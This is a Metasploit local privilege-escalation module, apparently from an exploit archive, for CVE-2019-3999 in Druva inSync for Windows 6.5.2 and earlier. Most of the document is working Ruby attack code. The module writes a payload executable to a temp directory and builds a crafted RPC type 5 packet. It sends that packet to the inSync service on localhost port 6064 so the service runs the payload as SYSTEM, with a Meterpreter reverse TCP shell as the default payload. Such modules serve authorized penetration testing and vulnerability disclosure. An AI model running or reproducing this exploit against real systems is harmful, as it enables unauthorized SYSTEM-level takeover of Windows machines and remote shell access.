Druva inSync client for Windows exposes a network service on TCP port 6064 on the local network interface. inSync versions 6.5.2 and prior do not validate user-supplied program paths in RPC type 5 messages, allowing execution of arbitrary commands as SYSTEM. This Metasploit module has been tested successfully on inSync version 6.5.2r99097 on Windows 7 SP1 (x64).
c631ada55c0c2348cdd0af3ac42a8258
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Post::File
include Post::Windows::Priv
include Post::Windows::Services
include Exploit::EXE
include Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation',
'Description' => %q{
Druva inSync client for Windows exposes a network service on TCP port
6064 on the local network interface. inSync versions 6.5.2 and prior
do not validate user-supplied program paths in RPC type 5 messages,
allowing execution of arbitrary commands as SYSTEM.
This module has been tested successfully on inSync version
6.5.2r99097 on Windows 7 SP1 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Lyne', # Discovery and Python exploit (@lynerc)
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2019-3999'],
['EDB', '48400'],
['PACKETSTORM', '157493'],
['URL', 'https://www.tenable.com/security/research/tra-2020-12'],
['URL', 'https://github.com/tenable/poc/blob/master/druva/inSync/druva_win_cphwnet64.py'],
],
'Platform' =>
[
'win'
],
'SessionTypes' =>
[
'meterpreter'
],
'Targets' =>
[
[
'Automatic',
{}
]
],
'DisclosureDate' => '2020-02-25',
'DefaultOptions' =>
{
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Notes' =>
{
'Reliability' =>
[
REPEATABLE_SESSION
],
'Stability' =>
[
CRASH_SAFE
]
},
'DefaultTarget' => 0
}
)
)
register_advanced_options([
OptString.new(
'WritableDir',
[
false,
'A directory where we can write files (%TEMP% by default)',
nil
]
),
])
end
def base_dir
datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
end
def service_exists?(service)
srv_info = service_info(service)
if srv_info.nil?
vprint_warning('Unable to enumerate Windows services')
return false
end
if srv_info && srv_info[:display].empty?
return false
end
true
end
def execute_command(host, port, command)
header = 'inSync PHC RPCW[v0002]'
rpc_type = [5].pack('V')
cmd = command.force_encoding('UTF-8').unpack('U*').pack('v*')
pkt = header
pkt << rpc_type
pkt << [cmd.length].pack('V')
pkt << cmd
result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)
unless result['GetLastError'] == 0
fail_with(Failure::Unknown, "Could not create socket: #{result['ErrorMessage']}")
end
socket = result['return']
sock_addr = [AF_INET].pack('v')
sock_addr << [port].pack('n')
sock_addr << Rex::Socket.addr_aton(host)
sock_addr << "\x00" * 8
print_status("Connecting to #{host}:#{port} ...")
result = client.railgun.ws2_32.connect(socket, sock_addr, sock_addr.length)
unless result['GetLastError'] == 0
fail_with(Failure::Unreachable, "Could not connect to #{host}:#{port} : #{result['ErrorMessage']}")
end
print_status("Sending packet (#{pkt.length} bytes) to #{host}:#{port} ...")
vprint_status("Sending: #{pkt.inspect}")
result = session.railgun.ws2_32.sendto(socket, pkt, pkt.length, 0, sock_addr, sock_addr.length)
unless result['GetLastError'] == 0
fail_with(Failure::NotVulnerable, "Could not send data to port: #{result['ErrorMessage']}")
end
session.railgun.ws2_32.closesocket(socket)
end
def check
service = 'inSyncCPHService'
unless service_exists?(service)
return CheckCode::Safe("Service '#{service}' does not exist")
end
CheckCode::Detected("Service '#{service}' exists")
end
def exploit
unless check == CheckCode::Detected
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
if is_system?
fail_with(Failure::BadConfig, 'Session already has SYSTEM privileges')
end
payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
payload_exe = generate_payload_exe
vprint_status("Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ...")
write_file(payload_path, payload_exe)
register_file_for_cleanup(payload_path)
execute_command('127.0.0.1', 6064, payload_path)
end
end